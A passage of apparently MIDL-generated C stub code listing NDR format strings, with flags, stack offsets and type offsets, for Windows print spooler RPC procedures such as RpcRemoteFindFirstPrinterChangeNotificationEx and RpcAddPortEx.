*/\n\n\t/* Parameter hPrinter */\n\n/* 3264 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3266 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3268 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Return value */\n\n/* 3270 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3272 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3274 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum57NotUsedOnWire */\n\n/* 3276 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3278 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3282 */\tNdrFcShort( 0x39 ),\t/* 57 */\n/* 3284 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3286 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3288 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3294 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3296 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3300 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcReplyOpenPrinter */\n\n/* 3306 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3308 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3312 */\tNdrFcShort( 0x3a ),\t/* 58 */\n/* 3314 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3316 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3318 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3320 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3322 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3324 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3326 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3328 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3330 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3332 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3334 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3336 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pMachine */\n\n/* 3338 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3340 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3342 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter phPrinterNotify */\n\n/* 3344 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 3346 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3348 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter dwPrinterRemote */\n\n/* 3350 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3352 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3354 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwType */\n\n/* 3356 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3358 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3360 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter cbBuffer */\n\n/* 3362 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 3364 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3366 */\tNdrFcShort( 0x722 ),\t/* 1826 */\n\n\t/* Parameter pBuffer */\n\n/* 3368 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3370 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3372 */\tNdrFcShort( 0x72c ),\t/* Type Offset=1836 */\n\n\t/* Return value */\n\n/* 3374 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3376 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3378 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcRouterReplyPrinter */\n\n/* 3380 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3382 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3386 */\tNdrFcShort( 0x3b ),\t/* 59 */\n/* 3388 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3390 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3392 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3394 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3396 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 3398 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3400 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3402 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3404 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3406 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3408 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3410 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hNotify */\n\n/* 3412 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3414 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3416 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter fdwFlags */\n\n/* 3418 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3420 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3422 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter cbBuffer */\n\n/* 3424 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 3426 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3428 */\tNdrFcShort( 0x746 ),\t/* 1862 */\n\n\t/* Parameter pBuffer */\n\n/* 3430 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3432 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3434 */\tNdrFcShort( 0x750 ),\t/* Type Offset=1872 */\n\n\t/* Return value */\n\n/* 3436 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3438 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3440 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcReplyClosePrinter */\n\n/* 3442 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3444 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3448 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 3450 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3452 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 3454 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3456 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3458 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3460 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3462 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 3464 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3468 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3470 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3472 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phNotify */\n\n/* 3474 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 3476 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3478 */\tNdrFcShort( 0x610 ),\t/* Type Offset=1552 */\n\n\t/* Return value */\n\n/* 3480 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3482 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3484 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPortEx */\n\n/* 3486 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3488 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3492 */\tNdrFcShort( 0x3d ),\t/* 61 */\n/* 3494 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3496 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3498 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3500 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3502 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3504 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3506 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3508 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3512 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3514 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3516 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3518 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3520 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3522 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortContainer */\n\n/* 3524 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3526 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3528 */\tNdrFcShort( 0x800 ),\t/* Type Offset=2048 */\n\n\t/* Parameter pPortVarContainer */\n\n/* 3530 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3532 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3534 */\tNdrFcShort( 0x814 ),\t/* Type Offset=2068 */\n\n\t/* Parameter pMonitorName */\n\n/* 3536 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3538 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3540 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 3542 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3544 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3546 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcRemoteFindFirstPrinterChangeNotification */\n\n/* 3548 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3550 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3554 */\tNdrFcShort( 0x3e ),\t/* 62 */\n/* 3556 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3558 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3560 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3562 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3564 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 3566 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3568 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 3570 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3572 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3574 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3578 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3580 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3582 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3584 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter fdwFlags */\n\n/* 3586 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3588 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3590 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter fdwOptions */\n\n/* 3592 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3594 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3596 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszLocalMachine */\n\n/* 3598 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3600 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3602 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter dwPrinterLocal */\n\n/* 3604 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3606 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3608 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter cbBuffer */\n\n/* 3610 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 3612 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3614 */\tNdrFcShort( 0x824 ),\t/* 2084 */\n\n\t/* Parameter pBuffer */\n\n/* 3616 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3618 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3620 */\tNdrFcShort( 0x82e ),\t/* Type Offset=2094 */\n\n\t/* Return value */\n\n/* 3622 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3624 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum63NotUsedOnWire */\n\n/* 3628 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3630 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3634 */\tNdrFcShort( 0x3f ),\t/* 63 */\n/* 3636 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3638 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3640 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3642 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3644 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3646 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3648 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3650 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3654 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3656 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum64NotUsedOnWire */\n\n/* 3658 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3660 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3664 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3666 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3668 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3670 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3674 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3676 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3678 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3682 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3684 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3686 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcRemoteFindFirstPrinterChangeNotificationEx */\n\n/* 3688 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3690 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3694 */\tNdrFcShort( 0x41 ),\t/* 65 */\n/* 3696 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3698 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3700 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3702 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3704 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 3706 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3708 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3710 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3712 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3714 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3716 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3720 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3722 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3724 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter fdwFlags */\n\n/* 3726 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3728 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3730 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter fdwOptions */\n\n/* 3732 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3734 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3736 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszLocalMachine */\n\n/* 3738 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3740 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3742 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter dwPrinterLocal */\n\n/* 3744 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3746 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3748 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOptions */\n\n/* 3750 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3752 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3754 */\tNdrFcShort( 0x848 ),\t/* Type Offset=2120 */\n\n\t/* Return value */\n\n/* 3756 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3758 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcRouterReplyPrinterEx */\n\n/* 3762 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3764 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3768 */\tNdrFcShort( 0x42 ),\t/* 66 */\n/* 3770 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3772 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3774 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3776 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3778 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 3780 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3782 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3784 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hNotify */\n\n/* 3794 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3796 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3798 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter dwColor */\n\n/* 3800 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3802 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3804 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter fdwFlags */\n\n/* 3806 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3808 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3810 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pdwResult */\n\n/* 3812 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3814 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3816 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwReplyType */\n\n/* 3818 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3820 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3822 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Reply */\n\n/* 3824 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3826 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3828 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3830 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3832 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3834 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcRouterRefreshPrinterChangeNotification */\n\n/* 3836 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3838 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3842 */\tNdrFcShort( 0x43 ),\t/* 67 */\n/* 3844 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3846 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3848 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3850 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3852 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 3854 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3856 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3858 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3860 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3862 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3864 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3866 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3868 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3870 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3872 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter dwColor */\n\n/* 3874 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3876 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3878 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOptions */\n\n/* 3880 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3882 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3884 */\tNdrFcShort( 0x848 ),\t/* Type Offset=2120 */\n\n\t/* Parameter ppInfo */\n\n/* 3886 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3888 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3890 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3892 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3894 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3896 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum68NotUsedOnWire */\n\n/* 3898 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3900 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3904 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 3906 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3908 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3910 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3912 */\tNdrFcShort( 